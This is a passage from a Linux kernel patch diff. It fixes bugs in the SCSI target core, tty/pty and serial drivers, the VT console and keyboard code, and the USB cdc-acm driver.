+1442,6 @@ struct se_device *target_alloc_device(struct se_hba *hba, const char *name) DA_UNMAP_GRANULARITY_ALIGNMENT_DEFAULT; dev->dev_attrib.max_write_same_len = DA_MAX_WRITE_SAME_LEN; dev->dev_attrib.fabric_max_sectors = DA_FABRIC_MAX_SECTORS; - dev->dev_attrib.optimal_sectors = DA_FABRIC_MAX_SECTORS; return dev; } @@ -1474,6 +1474,7 @@ int target_configure_device(struct se_device *dev) dev->dev_attrib.hw_max_sectors = se_dev_align_max_sectors(dev->dev_attrib.hw_max_sectors, dev->dev_attrib.hw_block_size); + dev->dev_attrib.optimal_sectors = dev->dev_attrib.hw_max_sectors; dev->dev_index = scsi_get_new_index(SCSI_DEVICE_INDEX); dev->creation_time = get_jiffies_64(); diff --git a/drivers/target/target_core_file.c b/drivers/target/target_core_file.c index 3b2879316b879..8baaa0a26d70c 100644 --- a/drivers/target/target_core_file.c +++ b/drivers/target/target_core_file.c @@ -554,7 +554,16 @@ fd_execute_rw(struct se_cmd *cmd) enum dma_data_direction data_direction = cmd->data_direction; struct se_device *dev = cmd->se_dev; int ret = 0; - + /* + * We are currently limited by the number of iovecs (2048) per + * single vfs_[writev,readv] call. + */ + if (cmd->data_length > FD_MAX_BYTES) { + pr_err("FILEIO: Not able to process I/O of %u bytes due to" + "FD_MAX_BYTES: %u iovec count limitiation\n", + cmd->data_length, FD_MAX_BYTES); + return TCM_LOGICAL_UNIT_COMMUNICATION_FAILURE; + } /* * Call vectorized fileio functions to map struct scatterlist * physical memory addresses to struct iovec virtual memory. diff --git a/drivers/target/target_core_iblock.c b/drivers/target/target_core_iblock.c index 6537e98a3083b..c91185848d2d7 100644 --- a/drivers/target/target_core_iblock.c +++ b/drivers/target/target_core_iblock.c @@ -122,7 +122,7 @@ static int iblock_configure_device(struct se_device *dev) q = bdev_get_queue(bd); dev->dev_attrib.hw_block_size = bdev_logical_block_size(bd); - dev->dev_attrib.hw_max_sectors = UINT_MAX; + dev->dev_attrib.hw_max_sectors = queue_max_hw_sectors(q); dev->dev_attrib.hw_queue_depth = q->nr_requests; /* diff --git a/drivers/target/target_core_pr.c b/drivers/target/target_core_pr.c index 07b11d10a0052..e5e84b25ee892 100644 --- a/drivers/target/target_core_pr.c +++ b/drivers/target/target_core_pr.c @@ -518,6 +518,18 @@ static int core_scsi3_pr_seq_non_holder( return 0; } + } else if (we && registered_nexus) { + /* + * Reads are allowed for Write Exclusive locks + * from all registrants. + */ + if (cmd->data_direction == DMA_FROM_DEVICE) { + pr_debug("Allowing READ CDB: 0x%02x for %s" + " reservation\n", cdb[0], + core_scsi3_pr_dump_type(pr_reg_type)); + + return 0; + } } pr_debug("%s Conflict for %sregistered nexus %s CDB: 0x%2x" " for %s reservation\n", transport_dump_cmd_direction(cmd), @@ -945,10 +957,10 @@ int core_scsi3_check_aptpl_registration( struct se_device *dev, struct se_portal_group *tpg, struct se_lun *lun, - struct se_lun_acl *lun_acl) + struct se_node_acl *nacl, + u32 mapped_lun) { - struct se_node_acl *nacl = lun_acl->se_lun_nacl; - struct se_dev_entry *deve = nacl->device_list[lun_acl->mapped_lun]; + struct se_dev_entry *deve = nacl->device_list[mapped_lun]; if (dev->dev_reservation_flags & DRF_SPC2_RESERVATIONS) return 0; @@ -2397,6 +2409,7 @@ core_scsi3_pro_reserve(struct se_cmd *cmd, int type, int scope, u64 res_key) spin_lock(&dev->dev_reservation_lock); pr_res_holder = dev->dev_pr_res_holder; if (pr_res_holder) { + int pr_res_type = pr_res_holder->pr_res_type; /* * From spc4r17 Section 5.7.9: Reserving: * @@ -2407,7 +2420,9 @@ core_scsi3_pro_reserve(struct se_cmd *cmd, int type, int scope, u64 res_key) * the logical unit, then the command shall be completed with * RESERVATION CONFLICT status. */ - if (pr_res_holder != pr_reg) { + if ((pr_res_holder != pr_reg) && + (pr_res_type != PR_TYPE_WRITE_EXCLUSIVE_ALLREG) && + (pr_res_type != PR_TYPE_EXCLUSIVE_ACCESS_ALLREG)) { struct se_node_acl *pr_res_nacl = pr_res_holder->pr_reg_nacl; pr_err("SPC-3 PR: Attempted RESERVE from" " [%s]: %s while reservation already held by" @@ -4012,7 +4027,8 @@ core_scsi3_pri_read_full_status(struct se_cmd *cmd) unsigned char *buf; u32 add_desc_len = 0, add_len = 0, desc_len, exp_desc_len; u32 off = 8; /* off into first Full Status descriptor */ - int format_code = 0; + int format_code = 0, pr_res_type = 0, pr_res_scope = 0; + bool all_reg = false; if (cmd->data_length < 8) { pr_err("PRIN SA READ_FULL_STATUS SCSI Data Length: %u" @@ -4029,6 +4045,19 @@ core_scsi3_pri_read_full_status(struct se_cmd *cmd) buf[2] = ((dev->t10_pr.pr_generation >> 8) & 0xff); buf[3] = (dev->t10_pr.pr_generation & 0xff); + spin_lock(&dev->dev_reservation_lock); + if (dev->dev_pr_res_holder) { + struct t10_pr_registration *pr_holder = dev->dev_pr_res_holder; + + if (pr_holder->pr_res_type == PR_TYPE_WRITE_EXCLUSIVE_ALLREG || + pr_holder->pr_res_type == PR_TYPE_EXCLUSIVE_ACCESS_ALLREG) { + all_reg = true; + pr_res_type = pr_holder->pr_res_type; + pr_res_scope = pr_holder->pr_res_scope; + } + } + spin_unlock(&dev->dev_reservation_lock); + spin_lock(&pr_tmpl->registration_lock); list_for_each_entry_safe(pr_reg, pr_reg_tmp, &pr_tmpl->registration_list, pr_reg_list) { @@ -4078,14 +4107,20 @@ core_scsi3_pri_read_full_status(struct se_cmd *cmd) * reservation holder for PR_HOLDER bit. * * Also, if this registration is the reservation - * holder, fill in SCOPE and TYPE in the next byte. + * holder or there is an All Registrants reservation + * active, fill in SCOPE and TYPE in the next byte. */ if (pr_reg->pr_res_holder) { buf[off++] |= 0x01; buf[off++] = (pr_reg->pr_res_scope & 0xf0) | (pr_reg->pr_res_type & 0x0f); - } else + } else if (all_reg) { + buf[off++] |= 0x01; + buf[off++] = (pr_res_scope & 0xf0) | + (pr_res_type & 0x0f); + } else { off += 2; + } off += 4; /* Skip over reserved area */ /* diff --git a/drivers/target/target_core_pr.h b/drivers/target/target_core_pr.h index b4a004247ab29..ea9220de1dff5 100644 --- a/drivers/target/target_core_pr.h +++ b/drivers/target/target_core_pr.h @@ -55,7 +55,7 @@ extern int core_scsi3_alloc_aptpl_registration( unsigned char *, u16, u32, int, int, u8); extern int core_scsi3_check_aptpl_registration(struct se_device *, struct se_portal_group *, struct se_lun *, - struct se_lun_acl *); + struct se_node_acl *, u32); extern void core_scsi3_free_pr_reg_from_nacl(struct se_device *, struct se_node_acl *); extern void core_scsi3_free_all_registrations(struct se_device *); diff --git a/drivers/target/target_core_pscsi.c b/drivers/target/target_core_pscsi.c index 3250ba2594e0e..244776bec1c7c 100644 --- a/drivers/target/target_core_pscsi.c +++ b/drivers/target/target_core_pscsi.c @@ -520,6 +520,7 @@ static int pscsi_configure_device(struct se_device *dev) " pdv_host_id: %d\n", pdv->pdv_host_id); return -EINVAL; } + pdv->pdv_lld_host = sh; } } else { if (phv->phv_mode == PHV_VIRTUAL_HOST_ID) { @@ -602,6 +603,8 @@ static void pscsi_free_device(struct se_device *dev) if ((phv->phv_mode == PHV_LLD_SCSI_HOST_NO) && (phv->phv_lld_host != NULL)) scsi_host_put(phv->phv_lld_host); + else if (pdv->pdv_lld_host) + scsi_host_put(pdv->pdv_lld_host); if ((sd->type == TYPE_DISK) || (sd->type == TYPE_ROM)) scsi_device_put(sd); @@ -1112,7 +1115,7 @@ static u32 pscsi_get_device_type(struct se_device *dev) struct pscsi_dev_virt *pdv = PSCSI_DEV(dev); struct scsi_device *sd = pdv->pdv_sd; - return sd->type; + return (sd) ? sd->type : TYPE_NO_LUN; } static sector_t pscsi_get_blocks(struct se_device *dev) diff --git a/drivers/target/target_core_pscsi.h b/drivers/target/target_core_pscsi.h index 1bd757dff8eee..820d3052b775c 100644 --- a/drivers/target/target_core_pscsi.h +++ b/drivers/target/target_core_pscsi.h @@ -45,6 +45,7 @@ struct pscsi_dev_virt { int pdv_lun_id; struct block_device *pdv_bd; struct scsi_device *pdv_sd; + struct Scsi_Host *pdv_lld_host; } ____cacheline_aligned; typedef enum phv_modes { diff --git a/drivers/target/target_core_sbc.c b/drivers/target/target_core_sbc.c index 0ef75fb0ecbae..70b0d265c37d9 100644 --- a/drivers/target/target_core_sbc.c +++ b/drivers/target/target_core_sbc.c @@ -561,23 +561,9 @@ sbc_parse_cdb(struct se_cmd *cmd, struct sbc_ops *ops) if (cmd->se_cmd_flags & SCF_SCSI_DATA_CDB) { unsigned long long end_lba; - if (sectors > dev->dev_attrib.fabric_max_sectors) { - printk_ratelimited(KERN_ERR "SCSI OP %02xh with too" - " big sectors %u exceeds fabric_max_sectors:" - " %u\n", cdb[0], sectors, - dev->dev_attrib.fabric_max_sectors); - return TCM_INVALID_CDB_FIELD; - } - if (sectors > dev->dev_attrib.hw_max_sectors) { - printk_ratelimited(KERN_ERR "SCSI OP %02xh with too" - " big sectors %u exceeds backend hw_max_sectors:" - " %u\n", cdb[0], sectors, - dev->dev_attrib.hw_max_sectors); - return TCM_INVALID_CDB_FIELD; - } - end_lba = dev->transport->get_blocks(dev) + 1; - if (cmd->t_task_lba + sectors > end_lba) { + if (((cmd->t_task_lba + sectors) < cmd->t_task_lba) || + ((cmd->t_task_lba + sectors) > end_lba)) { pr_err("cmd exceeds last lba %llu " "(lba %llu, sectors %u)\n", end_lba, cmd->t_task_lba, sectors); diff --git a/drivers/target/target_core_spc.c b/drivers/target/target_core_spc.c index 34254b2ec4668..9998ae23cc7c4 100644 --- a/drivers/target/target_core_spc.c +++ b/drivers/target/target_core_spc.c @@ -444,7 +444,6 @@ static sense_reason_t spc_emulate_evpd_b0(struct se_cmd *cmd, unsigned char *buf) { struct se_device *dev = cmd->se_dev; - u32 max_sectors; int have_tp = 0; /* @@ -469,9 +468,7 @@ spc_emulate_evpd_b0(struct se_cmd *cmd, unsigned char *buf) /* * Set MAXIMUM TRANSFER LENGTH */ - max_sectors = min(dev->dev_attrib.fabric_max_sectors, - dev->dev_attrib.hw_max_sectors); - put_unaligned_be32(max_sectors, &buf[8]); + put_unaligned_be32(dev->dev_attrib.hw_max_sectors, &buf[8]); /* * Set OPTIMAL TRANSFER LENGTH diff --git a/drivers/target/target_core_tpg.c b/drivers/target/target_core_tpg.c index aac9d2727e3c8..8572207e3d4d7 100644 --- a/drivers/target/target_core_tpg.c +++ b/drivers/target/target_core_tpg.c @@ -40,6 +40,7 @@ #include #include "target_core_internal.h" +#include "target_core_pr.h" extern struct se_device *g_lun0_dev; @@ -165,6 +166,13 @@ void core_tpg_add_node_to_devs( core_enable_device_list_for_node(lun, NULL, lun->unpacked_lun, lun_access, acl, tpg); + /* + * Check to see if there are any existing persistent reservation + * APTPL pre-registrations that need to be enabled for this dynamic + * LUN ACL now.. + */ + core_scsi3_check_aptpl_registration(dev, tpg, lun, acl, + lun->unpacked_lun); spin_lock(&tpg->tpg_lun_lock); } spin_unlock(&tpg->tpg_lun_lock); diff --git a/drivers/target/target_core_transport.c b/drivers/target/target_core_transport.c index 77a0e32383936..29d825e88d0cd 100644 --- a/drivers/target/target_core_transport.c +++ b/drivers/target/target_core_transport.c @@ -1788,8 +1788,7 @@ static void transport_complete_qf(struct se_cmd *cmd) if (cmd->se_cmd_flags & SCF_TRANSPORT_TASK_SENSE) { ret = cmd->se_tfo->queue_status(cmd); - if (ret) - goto out; + goto out; } switch (cmd->data_direction) { @@ -2129,7 +2128,7 @@ transport_generic_new_cmd(struct se_cmd *cmd) * and let it call back once the write buffers are ready. */ target_add_to_state_list(cmd); - if (cmd->data_direction != DMA_TO_DEVICE) { + if (cmd->data_direction != DMA_TO_DEVICE || cmd->data_length == 0) { target_execute_cmd(cmd); return 0; } @@ -2223,6 +2222,10 @@ int target_get_sess_cmd(struct se_session *se_sess, struct se_cmd *se_cmd, out: spin_unlock_irqrestore(&se_sess->sess_cmd_lock, flags); + + if (ret && ack_kref) + target_put_sess_cmd(se_sess, se_cmd); + return ret; } EXPORT_SYMBOL(target_get_sess_cmd); diff --git a/drivers/target/tcm_fc/tfc_io.c b/drivers/target/tcm_fc/tfc_io.c index e415af32115a8..c67d3795db4a3 100644 --- a/drivers/target/tcm_fc/tfc_io.c +++ b/drivers/target/tcm_fc/tfc_io.c @@ -346,7 +346,7 @@ void ft_invl_hw_context(struct ft_cmd *cmd) ep = fc_seq_exch(seq); if (ep) { lport = ep->lp; - if (lport && (ep->xid <= lport->lro_xid)) + if (lport && (ep->xid <= lport->lro_xid)) { /* * "ddp_done" trigger invalidation of HW * specific DDP context @@ -361,6 +361,7 @@ void ft_invl_hw_context(struct ft_cmd *cmd) * identified using ep->xid) */ cmd->was_ddp_setup = 0; + } } } } diff --git a/drivers/tty/hvc/hvc_xen.c b/drivers/tty/hvc/hvc_xen.c index 4fc32c8091e98..ff92155dbc88c 100644 --- a/drivers/tty/hvc/hvc_xen.c +++ b/drivers/tty/hvc/hvc_xen.c @@ -299,11 +299,27 @@ static int xen_initial_domain_console_init(void) return 0; } +static void xen_console_update_evtchn(struct xencons_info *info) +{ + if (xen_hvm_domain()) { + uint64_t v; + int err; + + err = hvm_get_parameter(HVM_PARAM_CONSOLE_EVTCHN, &v); + if (!err && v) + info->evtchn = v; + } else + info->evtchn = xen_start_info->console.domU.evtchn; +} + void xen_console_resume(void) { struct xencons_info *info = vtermno_to_xencons(HVC_COOKIE); - if (info != NULL && info->irq) + if (info != NULL && info->irq) { + if (!xen_initial_domain()) + xen_console_update_evtchn(info); rebind_evtchn_irq(info->evtchn, info->irq); + } } static void xencons_disconnect_backend(struct xencons_info *info) diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c index abfd990897818..deee2b81afff2 100644 --- a/drivers/tty/pty.c +++ b/drivers/tty/pty.c @@ -215,6 +215,9 @@ static int pty_signal(struct tty_struct *tty, int sig) unsigned long flags; struct pid *pgrp; + if (sig != SIGINT && sig != SIGQUIT && sig != SIGTSTP) + return -EINVAL; + if (tty->link) { spin_lock_irqsave(&tty->link->ctrl_lock, flags); pgrp = get_pid(tty->link->pgrp); @@ -620,7 +623,14 @@ static void pty_unix98_remove(struct tty_driver *driver, struct tty_struct *tty) /* this is called once with whichever end is closed last */ static void pty_unix98_shutdown(struct tty_struct *tty) { - devpts_kill_index(tty->driver_data, tty->index); + struct inode *ptmx_inode; + + if (tty->driver->subtype == PTY_TYPE_MASTER) + ptmx_inode = tty->driver_data; + else + ptmx_inode = tty->link->driver_data; + devpts_kill_index(ptmx_inode, tty->index); + devpts_del_ref(ptmx_inode); } static const struct tty_operations ptm_unix98_ops = { @@ -711,6 +721,18 @@ static int ptmx_open(struct inode *inode, struct file *filp) set_bit(TTY_PTY_LOCK, &tty->flags); /* LOCK THE SLAVE */ tty->driver_data = inode; + /* + * In the case where all references to ptmx inode are dropped and we + * still have /dev/tty opened pointing to the master/slave pair (ptmx + * is closed/released before /dev/tty), we must make sure that the inode + * is still valid when we call the final pty_unix98_shutdown, thus we + * hold an additional reference to the ptmx inode. For the same /dev/tty + * last close case, we also need to make sure the super_block isn't + * destroyed (devpts instance unmounted), before /dev/tty is closed and + * on its release devpts_kill_index is called. + */ + devpts_add_ref(inode); + tty_add_file(tty, filp); slave_inode = devpts_pty_new(inode, diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8250/8250_core.c index d8c06a3d391e8..1119d533c8e22 100644 --- a/drivers/tty/serial/8250/8250_core.c +++ b/drivers/tty/serial/8250/8250_core.c @@ -686,22 +686,16 @@ static int size_fifo(struct uart_8250_port *up) */ static unsigned int autoconfig_read_divisor_id(struct uart_8250_port *p) { - unsigned char old_dll, old_dlm, old_lcr; - unsigned int id; + unsigned char old_lcr; + unsigned int id, old_dl; old_lcr = serial_in(p, UART_LCR); serial_out(p, UART_LCR, UART_LCR_CONF_MODE_A); + old_dl = serial_dl_read(p); + serial_dl_write(p, 0); + id = serial_dl_read(p); + serial_dl_write(p, old_dl); - old_dll = serial_in(p, UART_DLL); - old_dlm = serial_in(p, UART_DLM); - - serial_out(p, UART_DLL, 0); - serial_out(p, UART_DLM, 0); - - id = serial_in(p, UART_DLL) | serial_in(p, UART_DLM) << 8; - - serial_out(p, UART_DLL, old_dll); - serial_out(p, UART_DLM, old_dlm); serial_out(p, UART_LCR, old_lcr); return id; diff --git a/drivers/tty/serial/8250/8250_dma.c b/drivers/tty/serial/8250/8250_dma.c index ab9096dc38497..148ffe4c232f6 100644 --- a/drivers/tty/serial/8250/8250_dma.c +++ b/drivers/tty/serial/8250/8250_dma.c @@ -192,21 +192,28 @@ int serial8250_request_dma(struct uart_8250_port *p) dma->rx_buf = dma_alloc_coherent(dma->rxchan->device->dev, dma->rx_size, &dma->rx_addr, GFP_KERNEL); - if (!dma->rx_buf) { - dma_release_channel(dma->rxchan); - dma_release_channel(dma->txchan); - return -ENOMEM; - } + if (!dma->rx_buf) + goto err; /* TX buffer */ dma->tx_addr = dma_map_single(dma->txchan->device->dev, p->port.state->xmit.buf, UART_XMIT_SIZE, DMA_TO_DEVICE); + if (dma_mapping_error(dma->txchan->device->dev, dma->tx_addr)) { + dma_free_coherent(dma->rxchan->device->dev, dma->rx_size, + dma->rx_buf, dma->rx_addr); + goto err; + } dev_dbg_ratelimited(p->port.dev, "got both dma channels\n"); return 0; +err: + dma_release_channel(dma->rxchan); + dma_release_channel(dma->txchan); + + return -ENOMEM; } EXPORT_SYMBOL_GPL(serial8250_request_dma); diff --git a/drivers/tty/serial/8250/8250_dw.c b/drivers/tty/serial/8250/8250_dw.c index 345b5ddcb1a01..86281fa5dcc32 100644 --- a/drivers/tty/serial/8250/8250_dw.c +++ b/drivers/tty/serial/8250/8250_dw.c @@ -98,7 +98,10 @@ static void dw8250_serial_out(struct uart_port *p, int offset, int value) dw8250_force_idle(p); writeb(value, p->membase + (UART_LCR << p->regshift)); } - dev_err(p->dev, "Couldn't set LCR to %d\n", value); + /* + * FIXME: this deadlocks if port->lock is already held + * dev_err(p->dev, "Couldn't set LCR to %d\n", value); + */ } } @@ -128,7 +131,10 @@ static void dw8250_serial_out32(struct uart_port *p, int offset, int value) dw8250_force_idle(p); writel(value, p->membase + (UART_LCR << p->regshift)); } - dev_err(p->dev, "Couldn't set LCR to %d\n", value); + /* + * FIXME: this deadlocks if port->lock is already held + * dev_err(p->dev, "Couldn't set LCR to %d\n", value); + */ } } diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/8250/8250_pci.c index 8d3c0b5e2878b..98b8423793fd0 100644 --- a/drivers/tty/serial/8250/8250_pci.c +++ b/drivers/tty/serial/8250/8250_pci.c @@ -68,7 +68,7 @@ static void moan_device(const char *str, struct pci_dev *dev) "Please send the output of lspci -vv, this\n" "message (0x%04x,0x%04x,0x%04x,0x%04x), the\n" "manufacturer and name of serial board or\n" - "modem board to rmk+serial@arm.linux.org.uk.\n", + "modem board to .\n", pci_name(dev), str, dev->vendor, dev->device, dev->subsystem_vendor, dev->subsystem_device); } diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/8250/8250_pnp.c index 35d9ab95c5cbb..91b14202b90b7 100644 --- a/drivers/tty/serial/8250/8250_pnp.c +++ b/drivers/tty/serial/8250/8250_pnp.c @@ -365,6 +365,11 @@ static const struct pnp_device_id pnp_dev_table[] = { /* Winbond CIR port, should not be probed. We should keep track of it to prevent the legacy serial driver from probing it */ { "WEC1022", CIR_PORT }, + /* + * SMSC IrCC SIR/FIR port, should not be probed by serial driver + * as well so its own driver can bind to it. + */ + { "SMCF010", CIR_PORT }, { "", 0 } }; diff --git a/drivers/tty/serial/of_serial.c b/drivers/tty/serial/of_serial.c index 39c7ea4cb14fb..2225f83f4c04c 100644 --- a/drivers/tty/serial/of_serial.c +++ b/drivers/tty/serial/of_serial.c @@ -262,7 +262,6 @@ static struct of_device_id of_platform_serial_table[] = { { .compatible = "ibm,qpace-nwp-serial", .data = (void *)PORT_NWPSERIAL, }, #endif - { .type = "serial", .data = (void *)PORT_UNKNOWN, }, { /* end of list */ }, }; diff --git a/drivers/tty/serial/samsung.c b/drivers/tty/serial/samsung.c index 0c8a9fa2be6ce..921bf90bcc6a7 100644 --- a/drivers/tty/serial/samsung.c +++ b/drivers/tty/serial/samsung.c @@ -534,11 +534,15 @@ static void s3c24xx_serial_pm(struct uart_port *port, unsigned int level, unsigned int old) { struct s3c24xx_uart_port *ourport = to_ourport(port); + int timeout = 10000; ourport->pm_level = level; switch (level) { case 3: + while (--timeout && !s3c24xx_serial_txempty_nofifo(port)) + udelay(100); + if (!IS_ERR(ourport->baudclk)) clk_disable_unprepare(ourport->baudclk); @@ -720,6 +724,8 @@ static void s3c24xx_serial_set_termios(struct uart_port *port, /* check to see if we need to change clock source */ if (ourport->baudclk != clk) { + clk_prepare_enable(clk); + s3c24xx_serial_setsource(port, clk_sel); if (!IS_ERR(ourport->baudclk)) { @@ -727,8 +733,6 @@ static void s3c24xx_serial_set_termios(struct uart_port *port, ourport->baudclk = ERR_PTR(-EINVAL); } - clk_prepare_enable(clk); - ourport->baudclk = clk; ourport->baudclk_rate = clk ? clk_get_rate(clk) : 0; } diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c index 7855f3a4ad05c..57977ec53a7a0 100644 --- a/drivers/tty/serial/serial_core.c +++ b/drivers/tty/serial/serial_core.c @@ -244,6 +244,9 @@ static void uart_shutdown(struct tty_struct *tty, struct uart_state *state) /* * Turn off DTR and RTS early. */ + if (uart_console(uport) && tty) + uport->cons->cflag = tty->termios.c_cflag; + if (!tty || (tty->termios.c_cflag & HUPCL)) uart_clear_mctrl(uport, TIOCM_DTR | TIOCM_RTS); @@ -359,7 +362,7 @@ uart_get_baud_rate(struct uart_port *port, struct ktermios *termios, * The spd_hi, spd_vhi, spd_shi, spd_warp kludge... * Die! Die! Die! */ - if (baud == 38400) + if (try == 0 && baud == 38400) baud = altbaud; /* diff --git a/drivers/tty/serial/sunsab.c b/drivers/tty/serial/sunsab.c index a422c8b55a47b..aa53fee1df63c 100644 --- a/drivers/tty/serial/sunsab.c +++ b/drivers/tty/serial/sunsab.c @@ -157,6 +157,15 @@ receive_chars(struct uart_sunsab_port *up, (up->port.line == up->port.cons->index)) saw_console_brk = 1; + if (count == 0) { + if (unlikely(stat->sreg.isr1 & SAB82532_ISR1_BRK)) { + stat->sreg.isr0 &= ~(SAB82532_ISR0_PERR | + SAB82532_ISR0_FERR); + up->port.icount.brk++; + uart_handle_break(&up->port); + } + } + for (i = 0; i < count; i++) { unsigned char ch = buf[i], flag; diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c index 494bf9b9764f0..cbf391b0899fa 100644 --- a/drivers/tty/tty_io.c +++ b/drivers/tty/tty_io.c @@ -992,8 +992,8 @@ EXPORT_SYMBOL(start_tty); /* We limit tty time update visibility to every 8 seconds or so. */ static void tty_update_time(struct timespec *time) { - unsigned long sec = get_seconds() & ~7; - if ((long)(sec - time->tv_sec) > 0) + unsigned long sec = get_seconds(); + if (abs(sec - time->tv_sec) & ~7) time->tv_sec = sec; } @@ -1697,6 +1697,7 @@ int tty_release(struct inode *inode, struct file *filp) int pty_master, tty_closing, o_tty_closing, do_sleep; int idx; char buf[64]; + long timeout = 0; if (tty_paranoia_check(tty, inode, __func__)) return 0; @@ -1781,7 +1782,11 @@ int tty_release(struct inode *inode, struct file *filp) __func__, tty_name(tty, buf)); tty_unlock_pair(tty, o_tty); mutex_unlock(&tty_mutex); - schedule(); + schedule_timeout_killable(timeout); + if (timeout < 120 * HZ) + timeout = 2 * timeout + 1; + else + timeout = MAX_SCHEDULE_TIMEOUT; } /* diff --git a/drivers/tty/tty_ioctl.c b/drivers/tty/tty_ioctl.c index 088b4ca7d8050..b46aca5cc23ca 100644 --- a/drivers/tty/tty_ioctl.c +++ b/drivers/tty/tty_ioctl.c @@ -217,11 +217,17 @@ void tty_wait_until_sent(struct tty_struct *tty, long timeout) #endif if (!timeout) timeout = MAX_SCHEDULE_TIMEOUT; + if (wait_event_interruptible_timeout(tty->write_wait, - !tty_chars_in_buffer(tty), timeout) >= 0) { - if (tty->ops->wait_until_sent) - tty->ops->wait_until_sent(tty, timeout); + !tty_chars_in_buffer(tty), timeout) < 0) { + return; } + + if (timeout == MAX_SCHEDULE_TIMEOUT) + timeout = 0; + + if (tty->ops->wait_until_sent) + tty->ops->wait_until_sent(tty, timeout); } EXPORT_SYMBOL(tty_wait_until_sent); diff --git a/drivers/tty/vt/keyboard.c b/drivers/tty/vt/keyboard.c index a9af1b9ae160e..1f6e09649e5af 100644 --- a/drivers/tty/vt/keyboard.c +++ b/drivers/tty/vt/keyboard.c @@ -371,34 +371,22 @@ static void to_utf8(struct vc_data *vc, uint c) static void do_compute_shiftstate(void) { - unsigned int i, j, k, sym, val; + unsigned int k, sym, val; shift_state = 0; memset(shift_down, 0, sizeof(shift_down)); - for (i = 0; i < ARRAY_SIZE(key_down); i++) { - - if (!key_down[i]) + for_each_set_bit(k, key_down, min(NR_KEYS, KEY_CNT)) { + sym = U(key_maps[0][k]); + if (KTYP(sym) != KT_SHIFT && KTYP(sym) != KT_SLOCK) continue; - k = i * BITS_PER_LONG; - - for (j = 0; j < BITS_PER_LONG; j++, k++) { - - if (!test_bit(k, key_down)) - continue; + val = KVAL(sym); + if (val == KVAL(K_CAPSSHIFT)) + val = KVAL(K_SHIFT); - sym = U(key_maps[0][k]); - if (KTYP(sym) != KT_SHIFT && KTYP(sym) != KT_SLOCK) - continue; - - val = KVAL(sym); - if (val == KVAL(K_CAPSSHIFT)) - val = KVAL(K_SHIFT); - - shift_down[val]++; - shift_state |= (1 << val); - } + shift_down[val]++; + shift_state |= BIT(val); } } diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c index 0d1b3757cfb66..6dff194751f1a 100644 --- a/drivers/tty/vt/vt.c +++ b/drivers/tty/vt/vt.c @@ -498,6 +498,7 @@ void invert_screen(struct vc_data *vc, int offset, int count, int viewed) #endif if (DO_UPDATE(vc)) do_update_region(vc, (unsigned long) p, count); + notify_update(vc); } /* used by selection: complement pointer position */ @@ -514,6 +515,7 @@ void complement_pos(struct vc_data *vc, int offset) scr_writew(old, screenpos(vc, old_offset, 1)); if (DO_UPDATE(vc)) vc->vc_sw->con_putc(vc, old, oldy, oldx); + notify_update(vc); } old_offset = offset; @@ -531,8 +533,8 @@ void complement_pos(struct vc_data *vc, int offset) oldy = (offset >> 1) / vc->vc_cols; vc->vc_sw->con_putc(vc, new, oldy, oldx); } + notify_update(vc); } - } static void insert_char(struct vc_data *vc, unsigned int nr) @@ -3532,9 +3534,10 @@ static int do_register_con_driver(const struct consw *csw, int first, int last) goto err; desc = csw->con_startup(); - - if (!desc) + if (!desc) { + retval = -ENODEV; goto err; + } retval = -EINVAL; diff --git a/drivers/usb/class/cdc-acm.c b/drivers/usb/class/cdc-acm.c index 3eb135cd9ec50..e7436ebbf04cf 100644 --- a/drivers/usb/class/cdc-acm.c +++ b/drivers/usb/class/cdc-acm.c @@ -883,11 +883,12 @@ static void acm_tty_set_termios(struct tty_struct *tty, /* FIXME: Needs to clear unsupported bits in the termios */ acm->clocal = ((termios->c_cflag & CLOCAL) != 0); - if (!newline.dwDTERate) { + if (C_BAUD(tty) == B0) { newline.dwDTERate = acm->line.dwDTERate; newctrl &= ~ACM_CTRL_DTR; - } else + } else if (termios_old && (termios_old->c_cflag & CBAUD) == B0) { newctrl |= ACM_CTRL_DTR; + } if (newctrl != acm->ctrlout) acm_set_control(acm, acm->ctrlout = newctrl); @@ -1089,10 +1090,11 @@ static int acm_probe(struct usb_interface *intf, } else { control_interface = usb_ifnum_to_if(usb_dev, union_header->bMasterInterface0); data_interface = usb_ifnum_to_if(usb_dev, (data_interface_num = union_header->bSlaveInterface0)); - if (!control_interface || !data_interface) { - dev_dbg(&intf->dev, "no interfaces\n"); - return -ENODEV; - } + } + + if (!control_interface || !data_interface) { + dev_dbg(&intf->dev, "no interfaces\n"); + return -ENODEV; } if (data_interface_num != call_interface_num) @@ -1367,6 +1369,7 @@ static int acm_probe(struct usb_interface *intf, &dev_attr_wCountryCodes); device_remove_file(&acm->control->dev, &dev_attr_iCountryCodeRelDate); + kfree(acm->country_codes); } device_remove_file(&acm->control->dev, &dev_attr_bmCapabilities); alloc_fail7: @@ -1591,6 +1594,7 @@ static const struct usb_device_id acm_ids[] = { { USB_DEVICE(0x0572, 0x1328), /* Shiro / Aztech USB MODEM UM-3100 */ .driver_info = NO_UNION_NORMAL, /* has no union descriptor */ }, + { USB_DEVICE(0x2184, 0x001c) }, /* GW Instek AFG-2225 */ { USB_DEVICE(0x22b8, 0x6425), /* Motorola MOTOMAGX phones */ }, /* Motorola H24 HSPA module: */ @@ -1725,6 +1729,16 @@ static const struct usb_device_id acm_ids[] = { }, #endif + /*Samsung phone in firmware update mode */ + { USB_DEVICE(0x04e8, 0x685d), + .driver_info = IGNORE_DEVICE, + }, + + /* Exclude Infineon Flash Loader utility */ + { USB_DEVICE(0x058b, 0x0041), + .driver_info = IGNORE_DEVICE, + }, + /* control interfaces without any protocol set */ { USB_INTERFACE_INFO(USB_CLASS_COMM, USB_CDC_SUBCLASS_ACM, USB_CDC_PROTO_NONE) }, diff --git a/drivers/usb/class/cdc-wdm.c b/drivers/usb/class/cdc-wdm.c index 6463ca3bcfbac..07133d0c971b4 100644 --- a/drivers/usb/class/cdc-wdm.c +++ b/drivers/usb/class/cdc-wdm.c @@ -244,7 +244,7 @@ static void wdm_int_callback(struct urb *urb) case USB_CDC_NOTIFY_RESPONSE_AVAILABLE: dev_dbg(&desc->intf->dev, "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d", - 